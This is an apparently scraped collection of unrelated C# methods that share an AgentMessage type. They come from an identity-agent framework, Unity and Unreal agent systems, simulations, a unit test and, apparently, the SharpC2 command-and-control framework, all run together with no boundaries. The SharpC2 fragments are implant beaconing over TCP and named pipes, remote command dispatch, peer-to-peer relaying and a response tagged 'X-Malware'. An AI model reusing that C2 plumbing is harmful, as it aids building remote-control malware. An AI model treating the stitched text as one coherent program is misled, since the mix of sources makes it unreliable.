/// <summary> /// Created a new threaded message response /// </summary> /// <param name="message">The message to thread from.</param> public static T CreateThreadedReply <T>(this AgentMessage message) where T : AgentMessage, new () { var newMsg = new T(); newMsg.ThreadMessage(message); return(newMsg); }
/// <summary> /// Adds return routing to message /// </summary> /// <param name="message">The message to add return routing</param> public static void AddReturnRouting(this AgentMessage message) { message.AddDecorator(new TransportDecorator { ReturnRoute = ReturnRouteTypes.all.ToString("G") }, DecoratorNames.TransportDecorator); }
private void onCollectingCompleted(GatheredMaterialConcept gatheredConcept, AgentMessage message) { AgentMessage reply = message.Reply(AgentMessage.PerformativeType.INFORM); reply.Content = gatheredConcept; Send(reply); }
/// <summary> /// Invoke the handler pipeline and process the passed message. /// </summary> /// <param name="body">The body.</param> /// <param name="wallet">The wallet.</param> /// <param name="pool">The pool.</param> /// <returns></returns> /// <exception cref="Exception">Expected inner message to be of type 'ForwardMessage'</exception> /// <exception cref="AgentFrameworkException">Couldn't locate a message handler for type {messageType}</exception> protected async Task <byte[]> ProcessAsync(byte[] body, Wallet wallet, Pool pool = null) { EnsureConfigured(); var agentContext = new AgentContext { Wallet = wallet, Pool = pool }; agentContext.AddNext(new MessagePayload(body, true)); AgentMessage outgoingMessage = null; while (agentContext.TryGetNext(out var message) && outgoingMessage == null) { outgoingMessage = await ProcessMessage(agentContext, message); } if (outgoingMessage != null) // && dont duplex???? { //TODO what happens when I fail to transmit the message? need to roll back the state of the internal message? await MessageService.SendToConnectionAsync(wallet, outgoingMessage, agentContext.Connection); outgoingMessage = null; } byte[] response = null; if (outgoingMessage != null) { response = await MessageService.PrepareAsync(wallet, outgoingMessage, ""); } return(response); }
private void SendData(Socket handler, AgentMessage message) { var encrypted = CryptoController.Encrypt(message); var response = new StringBuilder("HTTP/1.1 200 OK\r\n"); response.Append(string.Format("X-Malware: SharpC2\r\n")); response.Append(string.Format("Content-Length: {0}\r\n", encrypted.Length)); response.Append(string.Format("Date: {0}\r\n", DateTime.UtcNow.ToString("ddd, d MMM yyyy HH:mm:ss UTC"))); response.Append("\r\n"); var headers = Encoding.UTF8.GetBytes(response.ToString()); var dataToSend = new byte[encrypted.Length + headers.Length]; Buffer.BlockCopy(headers, 0, dataToSend, 0, headers.Length); Buffer.BlockCopy(encrypted, 0, dataToSend, headers.Length, encrypted.Length); try { handler.BeginSend(dataToSend, 0, dataToSend.Length, 0, new AsyncCallback(SendCallback), handler); } catch { // socket may be forcibly closed if agent dies } }
public void AddAgentMessage() { using (var uow = new CapriconContext()) { //retreive an existing agent var agentRepository = new AgentRepository(uow); var existingAgent = agentRepository.GetAll().FirstOrDefault(); Assert.IsNotNull(existingAgent); //retreive an existing message var messageRepository = new MessageRepository(uow); var existingMessage = messageRepository.GetAll().LastOrDefault(); Assert.IsNotNull(existingMessage); //create new agent messsage var newAgentMessage = new AgentMessage() { Agent = existingAgent, Message = existingMessage }; //add the new agent message to the repository var agentMessageRepository = new AgentMessageRepository(uow); agentMessageRepository.Add(newAgentMessage); try { uow.SaveChanges(); } catch (DbEntityValidationException ex) { //Retrieve validation errors ex.EntityValidationErrors.ToList().ForEach ( v => { v.ValidationErrors.ToList().ForEach ( e => { System.Diagnostics.Debug.WriteLine(e.ErrorMessage); } ); } ); Assert.Fail("Test failed"); } //retrieve saved object var uow1 = new CapriconContext(); var repository = new AgentMessageRepository(uow1); var savedAgentMessages = repository.GetAll().ToList(); Assert.AreEqual(savedAgentMessages[0].Agent.FirstName, existingAgent.FirstName = "Blaise"); Assert.AreEqual(savedAgentMessages[0].Message.MessageId, existingMessage.MessageId = 1); }; }
public override async Task OnConnectedAsync() { var msg = new AgentMessage <RpcRequest> { Author = new Author(_uiAgent), Data = new RpcRequest { Type = RpcRequestType.GetAllTasks, RequestedAgent = AgentType.DbManager }, MessageType = MessageType.DbRequest, SendDate = DateTime.Now }; var result = await _uiAgent.CallAsync <Dictionary <string, TaskWithSubTasks> >(msg, TimeSpan.FromSeconds(30)); if (result != null) { // _logger.LogInformation(JsonSerializer.Serialize(result.Data)); await Clients.Caller.SendCoreAsync(SignalRMessages.TasksConnectAccepted.ToString(), new object[] { result.Data }); } await base.OnConnectedAsync(); }
private void ClientConnectCallback(IAsyncResult ar) { Status.Set(); var client = ar.AsyncState as TcpClient; try { client.EndConnect(ar); var stream = client.GetStream(); var outbound = new AgentMessage { Metadata = Metadata }; if (Outbound.Count > 0) { outbound = Outbound.Dequeue(); } var encrypted = Crypto.Encrypt(outbound); var state = new CommStateObject { Handler = client, Worker = stream }; stream.BeginWrite(encrypted, 0, encrypted.Length, new AsyncCallback(ClientWriteCallback), state); } catch { // Agent has probably been closed or killed ModuleStatus = ModuleStatus.Stopped; } }
private void HandleMessage(AgentMessage message) { if (string.IsNullOrEmpty(message.Data.AgentID) || message.Data.AgentID.Equals(AgentMetadata.AgentID, StringComparison.OrdinalIgnoreCase)) // message is for this agent { if (!string.IsNullOrEmpty(message.Data.Module)) { try { var callBack = AgentModules .Where(m => m.Name.Equals(message.Data.Module, StringComparison.OrdinalIgnoreCase)) .Select(m => m.Commands).FirstOrDefault() .Where(c => c.Name.Equals(message.Data.Command, StringComparison.OrdinalIgnoreCase)) .Select(c => c.CallBack).FirstOrDefault(); callBack?.Invoke(message.Data.Data); } catch (Exception e) { SendError(e.Message); } } } else // for a p2p agent { P2P.BroadcastMessage(message); // very lazy approach until i can figure out a solution } }
public override async Task <AgentMessage> ProcessRpcAsync(AgentMessage <RpcRequest> message) { if (message.MessageType == MessageType.FileRequest && message.Data.Args.Length > 0) { try { var response = await GetFileAsync(message.Data.Args[0]); return(new AgentMessage <byte[]> { Author = this, Data = response, MessageType = MessageType.RpcResponse }); } catch (Exception e) { _logger.LogError("Error occured while downloading {@TaskId} in {@AgentName} with {@Exception}", message.Data.Args[0], nameof(FileWorkerAgentImpl), e.ToString()); return(new AgentMessage <byte[]> { Author = this, MessageType = MessageType.RpcResponse }); } } return(null); }
private static void ThreadMessage(this AgentMessage messageToThread, AgentMessage messageToThreadFrom) { ThreadDecorator previousMessageThreadContext = null; try { previousMessageThreadContext = messageToThreadFrom.GetDecorator <ThreadDecorator>(DecoratorIdentifier); } catch (AriesFrameworkException) { } ThreadDecorator currentThreadContext; if (previousMessageThreadContext != null) { currentThreadContext = new ThreadDecorator { ParentThreadId = previousMessageThreadContext.ParentThreadId, ThreadId = previousMessageThreadContext.ThreadId }; } else { currentThreadContext = new ThreadDecorator { ThreadId = messageToThreadFrom.Id }; } messageToThread.AddDecorator(currentThreadContext, DecoratorIdentifier); }
public override async Task ProcessMessageAsync(AgentMessage message) { try { switch (message.MessageType) { case MessageType.Connection: var connectionMessage = message.Data.ToObject <ConnectionMessage>(); connectionMessage.Who ??= message.Author; await _agentUiHub.Clients.All.SendAsync(SignalRMessages.AgentConnections.ToString(), connectionMessage); break; case MessageType.WorkerTask: case MessageType.TaskStat: var task = message.Data.ToObject <TaskMessage>(); task.Data = new byte[0]; task.WorkerName = message.Author.SubType; await _taskUiHub.Clients.All.SendAsync(SignalRMessages.TaskStateChanged.ToString(), task); break; } } catch (Exception e) { _logger.LogError(e, "Can`t process message"); } }
private void StartClient() { Task.Factory.StartNew(delegate() { while (ModuleStatus == ModuleStatus.Running) { Status.Reset(); var pipe = new NamedPipeClientStream(ConnectHost, Pipename, PipeDirection.InOut, PipeOptions.Asynchronous); pipe.Connect(5000); var outbound = new AgentMessage { Metadata = Metadata }; if (Outbound.Count > 0) { outbound = Outbound.Dequeue(); } var dataToSend = Crypto.Encrypt(outbound); pipe.BeginWrite(dataToSend, 0, dataToSend.Length, new AsyncCallback(ClientWriteCallback), pipe); Status.WaitOne(); Thread.Sleep(1000); } }); }
/// <summary> /// Prepares a wire level message from the application level agent message asynchronously /// this includes packing the message and wrapping it in required forward messages /// if the message requires it. /// </summary> /// <param name="wallet">The wallet.</param> /// <param name="message">The message context.</param> /// <param name="recipientKey">The key to encrypt the message for.</param> /// <param name="routingKeys">The routing keys to pack the message for.</param> /// <param name="senderKey">The sender key to encrypt the message from.</param> /// <returns>The response async.</returns> public static async Task <byte[]> PrepareAsync(Wallet wallet, AgentMessage message, string recipientKey, string[] routingKeys = null, string senderKey = null) { if (message == null) { throw new ArgumentNullException(nameof(message)); } if (recipientKey == null) { throw new ArgumentNullException(nameof(recipientKey)); } // Pack application level message var msg = await PackAsync(wallet, recipientKey, message.ToByteArray(), senderKey); var previousKey = recipientKey; if (routingKeys != null) { // TODO: In case of multiple key, should they each wrap a forward message // or pass all keys to the PackAsync function as array? foreach (var routingKey in routingKeys) { // Anonpack msg = await PackAsync(wallet, routingKey, new ForwardMessage { Message = JObject.Parse(msg.GetUTF8String()), To = previousKey }); previousKey = routingKey; } } return(msg); }
// Получение сообщения от другого агента public override void EventMessage(AgentMessage message) { if (message.message == Enums.MessageType.Infected.ToString() && healthState == Enums.HealthState.Susceptible) { isBeingInfected = true; } }
public override async Task ProcessMessageAsync(AgentMessage message) { if (message.MessageType == MessageType.DeleteFile) { var taskId = message.To <string>().Data; await DeleteFileAsync(taskId); } }
public void BroadcastMessage(AgentMessage message) { var modules = P2PAgents.Values.ToList(); foreach (var module in modules) { module.SendData(message); } }
/// <summary> /// Removes the attachment. /// </summary> /// <param name="message">The message.</param> /// <param name="nickname">The nickname.</param> /// <returns></returns> public static bool RemoveAttachment(this AgentMessage message, string nickname) { var decorator = message.FindDecorator <AttachDecorator>("attach") ?? new AttachDecorator(); var result = decorator.Remove(decorator[nickname]); message.SetDecorator(decorator, "attach"); return(result); }
/// Listens for actions, memories, and values and sends them /// to the corrensponding brains. public void UpdateActions() { // TO MODIFY -------------------------------------------- sender.Send(Encoding.ASCII.GetBytes("STEPPING")); string a = Receive(); AgentMessage agentMessage = null; try { agentMessage = JsonConvert.DeserializeObject <AgentMessage>(a); } catch (Exception e) { Debug.Log(a); Debug.Log(e); } foreach (Brain brain in brains) { if (brain.brainType == BrainType.External) { string brainName = brain.gameObject.name; Dictionary <int, float[]> actionDict = new Dictionary <int, float[]>(); for (int i = 0; i < current_agents[brainName].Count; i++) { if (brain.brainParameters.actionSpaceType == StateType.continuous) { actionDict.Add(current_agents[brainName][i], agentMessage.action[brainName].GetRange(i * brain.brainParameters.actionSize, brain.brainParameters.actionSize).ToArray()); } else { actionDict.Add(current_agents[brainName][i], agentMessage.action[brainName].GetRange(i, 1).ToArray()); } } storedActions[brainName] = actionDict; Dictionary <int, float[]> memoryDict = new Dictionary <int, float[]>(); for (int i = 0; i < current_agents[brainName].Count; i++) { memoryDict.Add(current_agents[brainName][i], agentMessage.memory[brainName].GetRange(i * brain.brainParameters.memorySize, brain.brainParameters.memorySize).ToArray()); } storedMemories[brainName] = memoryDict; Dictionary <int, float> valueDict = new Dictionary <int, float>(); for (int i = 0; i < current_agents[brainName].Count; i++) { valueDict.Add(current_agents[brainName][i], agentMessage.value[brainName][i]); } storedValues[brainName] = valueDict; } } }
/// <summary> /// Threads the current message. /// </summary> /// <param name="messageToThread">Message to thread.</param> /// <param name="threadId">Thread id to thread the message with.</param> public static void ThreadFrom(this AgentMessage messageToThread, string threadId) { var currentThreadContext = new ThreadDecorator { ThreadId = threadId }; messageToThread.AddDecorator(currentThreadContext, DecoratorIdentifier); }
/// <summary> /// Prepares a wire level message from the application level agent message for a connection asynchronously /// this includes packing the message and wrapping it in required forward messages /// if the message requires it. /// </summary> /// <param name="wallet">The wallet.</param> /// <param name="message">The message context.</param> /// <param name="connection">The connection to prepare the message for.</param> /// <returns>The response async.</returns> public static Task <byte[]> PrepareAsync(Wallet wallet, AgentMessage message, ConnectionRecord connection) { var recipientKey = connection.TheirVk ?? throw new AriesFrameworkException(ErrorCode.A2AMessageTransmissionError, "Cannot find encryption key"); var routingKeys = connection.Endpoint?.Verkey != null ? connection.Endpoint.Verkey : new string[0]; return(PrepareAsync(wallet, message, recipientKey, routingKeys, connection.MyVk)); }
protected override void Action() { AgentMessage message = getMessage(); while (message != null) { Agent.PreProcessMessage(message); message = getMessage(); } }
override protected void Action() { MaterialConcept materialConcept = new MaterialConcept(materialType); AgentAction action = new GetMaterialAction(materialConcept, amount); AgentMessage message = new AgentMessage(AgentMessage.PerformativeType.INFORM); message.Receiver = AgentId.ParseGlobalId(receiver); message.Content = action; Agent.Send(message); }
private static DidExchangeProblemReportMessage CreateProblemReportMessage(AgentMessage message) { var response = message.CreateThreadedReply <DidExchangeProblemReportMessage>(); response.ProblemCode = message is DidExchangeRequestMessage ? DidExchangeProblemReportMessage.Error.RequestProcessingError : DidExchangeProblemReportMessage.Error.ResponseProcessingError; return(response); }
private async Task ScanInvite() { var expectedFormat = ZXing.BarcodeFormat.QR_CODE; var opts = new ZXing.Mobile.MobileBarcodeScanningOptions { PossibleFormats = new List <ZXing.BarcodeFormat> { expectedFormat } }; var context = await _agentContextProvider.GetContextAsync(); var scanner = new ZXing.Mobile.MobileBarcodeScanner(); var result = await scanner.Scan(opts); if (result == null) { return; } AgentMessage message = await MessageDecoder.ParseMessageAsync(result.Text); switch (message) { case ConnectionInvitationMessage invitation: break; case RequestPresentationMessage presentation: RequestPresentationMessage proofRequest = (RequestPresentationMessage)presentation; var service = message.GetDecorator <ServiceDecorator>(DecoratorNames.ServiceDecorator); ProofRecord proofRecord = await _proofService.ProcessRequestAsync(context, proofRequest, null); proofRecord.SetTag("RecipientKey", service.RecipientKeys.ToList()[0]); proofRecord.SetTag("ServiceEndpoint", service.ServiceEndpoint); await _recordService.UpdateAsync(context.Wallet, proofRecord); _eventAggregator.Publish(new ApplicationEvent { Type = ApplicationEventType.ProofRequestUpdated }); break; default: DialogService.Alert("Invalid invitation!"); return; } Device.BeginInvokeOnMainThread(async() => { if (message is ConnectionInvitationMessage) { await NavigationService.NavigateToAsync <AcceptInviteViewModel>(message as ConnectionInvitationMessage, NavigationType.Modal); } }); }
private Action <GatheredMaterialConcept> getActionOnCollectingCompleted(AgentMessage message) { if (message.Protocol == Protocols.FIPA_REQUEST) { return(delegate(GatheredMaterialConcept concept) { onCollectingCompleted(concept, message); }); } else { return(null); } }
public override void Step() { NotifyServerDataReceived(); string jsonData = _communicator.ReceiveFromServer(); AgentMessage message = JsonConvert.DeserializeObject <AgentMessage>(jsonData); AgentStepMessage stepMsg = _env.Step((Action)message.Action); string stepData = JsonConvert.SerializeObject(stepMsg, Formatting.Indented); SendDataBytesToServer(Encoding.ASCII.GetBytes(stepData)); SendDataBytesToServer(_env.GetEnvironmentImageBytes()); }
/// <inheritdoc /> public virtual Task <byte[]> PrepareAsync(Wallet wallet, AgentMessage message, ConnectionRecord connection, string recipientKey = null, bool useRoutingKeys = true) { recipientKey = recipientKey ?? connection.TheirVk ?? throw new AgentFrameworkException( ErrorCode.A2AMessageTransmissionError, "Cannot find encryption key"); var routingKeys = useRoutingKeys && connection.Endpoint?.Verkey != null ? new[] { connection.Endpoint.Verkey } : new string[0]; return(PrepareAsync(wallet, message, recipientKey, routingKeys, connection.MyVk)); }
public AgentMessage Reply(PerformativeType performative) { AgentMessage reply = this.MemberwiseClone() as AgentMessage; reply.Performative = performative; reply.Sender = this.RealReceiver; reply.Receiver = this.Sender; reply.RealReceiver = this.Sender; reply.InReplyTo = this.ReplyWith; return(reply); }
public bool RecvData(out AgentMessage message) { if (InboundC2Data.Count > 0) { message = InboundC2Data.Dequeue(); return(true); } message = null; return(false); }
/** * Actual work performed by SendMessage happens here */ public Int32 SendMessageInternal( Connection Sender, AgentMessage NewMessage ) { Int32 ErrorCode = Constants.INVALID; // We assume the message is valid, but if somewhere below we change our // mind, this value will be set to false and we'll eat the message bool bMessageIsValid = true; // Logic for the setting of the To and From fields (if not already set) // // All connections sending messages are implicitly sending them to the // Instigator of the Job they're working on. Depending on where the // message is coming from, we might need to patch up the To field a // little bit to ensure it's heading to a Local connection when it // needs to be. The only case this applies is when we receive a message // from a Remote connection, directed toward a Remote connection, which // happens when we get a message from a Remote Agent from an even more // Remote connection (i.e. a Job connection on the remote machine): // // To Local, From Local -> routing of main message and replies are ok // To Local, From Remote -> routing of main message and replies are ok // To Remote, From Local -> routing of main message and replies are ok // To Remote, From Remote -> routing of replies is ok, but the main // message is in trouble if it's not completely handled within the // Agent's ProcessMessages routine. It would be forwarded on to the // To field connection which is Remote and we'd end up bouncing the // message back and forth forever. Need to adjust the To field to // point to the parent of the To connection (which is where it's // intended to go anyway). See further below for where we handle // this case. // If the From field is not set, give it the connection handle value by // default so that any response message will automatically be routed back // to it whether it's the sender or the recipient if( NewMessage.From == Constants.INVALID ) { NewMessage.From = Sender.Handle; } // If the connection used to send the message is Remote, check for the // Remote -> Remote case described above else if( Sender is RemoteConnection ) { // If the From field is already set, see if we've already registered // the connection this message is being sent from Connection FromConnection; if( !Connections.TryGetValue( NewMessage.From, out FromConnection ) ) { // This is a new one - make it an alias for the sender so that any // responses will be directed back via its sending interface RemoteConnection RemoteSender = Sender as RemoteConnection; RemoteSender.Aliases.Add( NewMessage.From ); // There are times we want to ensure no new connections are coming online // where we'll lock the Connections dictionary (see MaintainCache) lock( Connections ) { Connections.Add( NewMessage.From, RemoteSender ); } FromConnection = RemoteSender; string LogMessage = String.Format( "[SendMessage] Added alias for remote connection: {0:X8} is an alias for {1:X8}", NewMessage.From, Sender.Handle ); Log( EVerbosityLevel.Informative, ELogColour.Green, LogMessage ); } // If this is a Remote -> Remote situation, the proper place to route // the message to the parent of the remote connection since the Agents // generally act as glue between connections if( FromConnection is RemoteConnection ) { Debug.Assert( NewMessage.To != Constants.INVALID ); Connection ToConnection; if( (Connections.TryGetValue( NewMessage.To, out ToConnection )) && (ToConnection is RemoteConnection) ) { Connection ToConnectionParent = ToConnection.Parent; if( ToConnectionParent != null ) { NewMessage.To = ToConnectionParent.Handle; } } } } // If the To field is not set, assign it based on the message type if( NewMessage.To == Constants.INVALID ) { // TODO: As we add additional versions, convert to a switch rather than if-else. // For now, just use a simple if since we only have one version and a switch is // overkill. if( NewMessage.Version == ESwarmVersionValue.VER_1_0 ) { // The default is for messages to be ultimately routed to the Instigator // unless the message is one of a certain set of types that route // directly to the connection specified switch( NewMessage.Type ) { // These message types need to be routed to the connection specified // either because they are meant to be simple round-trip messages or // because they are sent from within Swarm directly to the connection // and should not be routed anywhere else case EMessageType.QUIT: case EMessageType.PING: case EMessageType.SIGNAL: NewMessage.To = Sender.Handle; break; // These message types need to be routed eventually to the Instigator // connection, which is the ultimate ancestor up the parent chain, so // simply assign the most senior parent we have case EMessageType.INFO: case EMessageType.ALERT: case EMessageType.TIMING: case EMessageType.TASK_REQUEST: case EMessageType.TASK_STATE: case EMessageType.JOB_STATE: // By default, make the sender the recipient for these cases, in // case the parent is no longer active NewMessage.To = Sender.Handle; Connection SenderParent = Sender.Parent; if( SenderParent != null ) { // If we have a parent connection and it's active, then // assign it as the recipient if( SenderParent.CurrentState == ConnectionState.CONNECTED ) { NewMessage.To = SenderParent.Handle; } } break; // These message types are not expected and are each error cases case EMessageType.NONE: // Should never be set to this case EMessageType.JOB_SPECIFICATION: // Only used for messages going directly into OpenJob case EMessageType.TASK_REQUEST_RESPONSE: // Should always have the To field set already default: Log( EVerbosityLevel.Informative, ELogColour.Orange, "SendMessage: Invalid message type received, ignoring " + NewMessage.Type.ToString() ); break; } // If still no assigned To field, consider it an error if( NewMessage.To == Constants.INVALID ) { Log( EVerbosityLevel.Informative, ELogColour.Orange, "SendMessage: No proper recipient found, ignoring " + NewMessage.Type.ToString() ); bMessageIsValid = false; } } } // If the message remains valid, post it to the queue if( bMessageIsValid ) { lock( MessageQueueLock ) { Debug.Assert( NewMessage != null ); MessageQueueSM.Enqueue( NewMessage ); string NewLogMessage = String.Format( "Step 1 of N for message: ({0:X8} -> {1:X8}), {2}, Message Count {3} (Agent)", NewMessage.To, NewMessage.From, NewMessage.Type, MessageQueueSM.Count ); Log( EVerbosityLevel.SuperVerbose, ELogColour.Green, NewLogMessage ); MessageQueueReady.Set(); } ErrorCode = Constants.SUCCESS; } else { Log( EVerbosityLevel.Informative, ELogColour.Orange, String.Format( "SendMessage: Discarded message \"{0}\"", NewMessage.Type ) ); } return ( ErrorCode ); }
/////////////////////////////////////////////////////////////////////////// public Int32 GetMessage(Int32 ConnectionHandle, out AgentMessage NextMessage, Int32 Timeout) { GetMessageDelegate DGetMessage = Connection.GetMessage; // Set up the versioned hashtable input parameters Hashtable InParameters = new Hashtable(); InParameters["Version"] = ESwarmVersionValue.VER_1_0; InParameters["Timeout"] = (Int32)Timeout; // Invoke the method, then wait for it to finish or to be notified that the connection dropped Hashtable OutParameters = null; IAsyncResult Result = DGetMessage.BeginInvoke(ConnectionHandle, InParameters, ref OutParameters, null, null); WaitHandle.WaitAny(new WaitHandle[]{ Result.AsyncWaitHandle, ConnectionDroppedEvent }); // If the method completed normally, return the result if (Result.IsCompleted) { // If the invocation didn't fail, end to get the result Int32 ReturnValue = DGetMessage.EndInvoke(ref OutParameters, Result); if (OutParameters != null) { if((ESwarmVersionValue)OutParameters["Version"] == ESwarmVersionValue.VER_1_0) { NextMessage = (AgentMessage )OutParameters["Message"]; // Complete and successful return ReturnValue; } } } // Otherwise, error NextMessage = null; return Constants.ERROR_CONNECTION_DISCONNECTED; }
/////////////////////////////////////////////////////////////////////////// public Int32 SendMessage(Int32 ConnectionHandle, AgentMessage NewMessage) { SendMessageDelegate DSendMessage = Connection.SendMessage; // Set up the versioned hashtable input parameters Hashtable InParameters = new Hashtable(); InParameters["Version"] = ESwarmVersionValue.VER_1_0; InParameters["Message"] = NewMessage; // Invoke the method, then wait for it to finish or to be notified that the connection dropped Hashtable OutParameters = null; IAsyncResult Result = DSendMessage.BeginInvoke(ConnectionHandle, InParameters, ref OutParameters, null, null); WaitHandle.WaitAny(new WaitHandle[]{ Result.AsyncWaitHandle, ConnectionDroppedEvent }); // If the method completed normally, return the result if (Result.IsCompleted) { // If the invocation completed, success return DSendMessage.EndInvoke(ref OutParameters, Result); } // Otherwise, error return Constants.ERROR_CONNECTION_DISCONNECTED; }
/** * Sends a message to an Agent (return messages are sent via the FConnectionCallback) * * @param Message The message being sent * * @return Int32 error code (< 0 is error) */ public virtual Int32 SendMessage(IntPtr NativeMessagePtr) { StartTiming("SendMessage-Managed", true); FMessage NativeMessage = (FMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FMessage)); Int32 ReturnValue = Constants.INVALID; if (Connection != null) { AgentMessage ManagedMessage = null; // TODO: As we add additional versions, convert to a switch rather than if-else. // For now, just use a simple if since we only have one version and a switch is // overkill. if (NativeMessage.Version == ESwarmVersionValue.VER_1_0) { switch (NativeMessage.Type) { case EMessageType.TASK_REQUEST_RESPONSE: // Swallow this message, since it should not be sent along to a local connection // since all Job and Task information is contained within the Agent itself break; case EMessageType.TASK_STATE: { FTaskState NativeTaskStateMessage = (FTaskState)Marshal.PtrToStructure(NativeMessagePtr, typeof(FTaskState)); AgentGuid ManagedTaskGuid = new AgentGuid(NativeTaskStateMessage.TaskGuid.A, NativeTaskStateMessage.TaskGuid.B, NativeTaskStateMessage.TaskGuid.C, NativeTaskStateMessage.TaskGuid.D); EJobTaskState TaskState = (EJobTaskState)NativeTaskStateMessage.TaskState; AgentTaskState ManagedTaskStateMessage = new AgentTaskState(null, ManagedTaskGuid, TaskState); ManagedTaskStateMessage.TaskExitCode = NativeTaskStateMessage.TaskExitCode; ManagedTaskStateMessage.TaskRunningTime = NativeTaskStateMessage.TaskRunningTime; // If there is a message, be sure copy and pass it on if (NativeTaskStateMessage.TaskMessage != IntPtr.Zero) { ManagedTaskStateMessage.TaskMessage = FStringMarshaler.MarshalNativeToManaged(NativeTaskStateMessage.TaskMessage); } ManagedMessage = ManagedTaskStateMessage; } break; case EMessageType.INFO: { // Create the managed version of the info message FInfoMessage NativeInfoMessage = (FInfoMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FInfoMessage)); AgentInfoMessage ManagedInfoMessage = new AgentInfoMessage(); if (NativeInfoMessage.TextMessage != IntPtr.Zero) { ManagedInfoMessage.TextMessage = FStringMarshaler.MarshalNativeToManaged(NativeInfoMessage.TextMessage); } ManagedMessage = ManagedInfoMessage; } break; case EMessageType.ALERT: { // Create the managed version of the alert message FAlertMessage NativeAlertMessage = (FAlertMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FAlertMessage)); AgentGuid JobGuid = new AgentGuid(NativeAlertMessage.JobGuid.A, NativeAlertMessage.JobGuid.B, NativeAlertMessage.JobGuid.C, NativeAlertMessage.JobGuid.D); AgentAlertMessage ManagedAlertMessage = new AgentAlertMessage(JobGuid); ManagedAlertMessage.AlertLevel = (EAlertLevel)(NativeAlertMessage.AlertLevel); AgentGuid ObjectGuid = new AgentGuid(NativeAlertMessage.ObjectGuid.A, NativeAlertMessage.ObjectGuid.B, NativeAlertMessage.ObjectGuid.C, NativeAlertMessage.ObjectGuid.D); ManagedAlertMessage.ObjectGuid = ObjectGuid; ManagedAlertMessage.TypeId = NativeAlertMessage.TypeId; if (NativeAlertMessage.TextMessage != IntPtr.Zero) { ManagedAlertMessage.TextMessage = FStringMarshaler.MarshalNativeToManaged(NativeAlertMessage.TextMessage); } ManagedMessage = ManagedAlertMessage; } break; case EMessageType.TIMING: { // Create the managed version of the info message FTimingMessage NativeTimingMessage = (FTimingMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FTimingMessage)); AgentTimingMessage ManagedTimingMessage = new AgentTimingMessage((EProgressionState)NativeTimingMessage.State, NativeTimingMessage.ThreadNum); ManagedMessage = ManagedTimingMessage; } break; default: // By default, just pass the message version and type through, but // any additional payload of a specialized type will be lost ManagedMessage = new AgentMessage((EMessageType)NativeMessage.Type); break; } } if (ManagedMessage != null) { try { // Finally, send the message to the Agent StartTiming("SendMessage-Remote", false); Connection.SendMessage(ConnectionHandle, ManagedMessage); StopTiming(); ReturnValue = Constants.SUCCESS; } catch (Exception Ex) { Log(EVerbosityLevel.Critical, ELogColour.Red, "[Interface:SendMessage] Error: " + Ex.Message); ReturnValue = Constants.ERROR_CONNECTION_DISCONNECTED; CleanupClosedConnection(); } } } else { ReturnValue = Constants.ERROR_CONNECTION_NOT_FOUND; } StopTiming(); return( ReturnValue ); }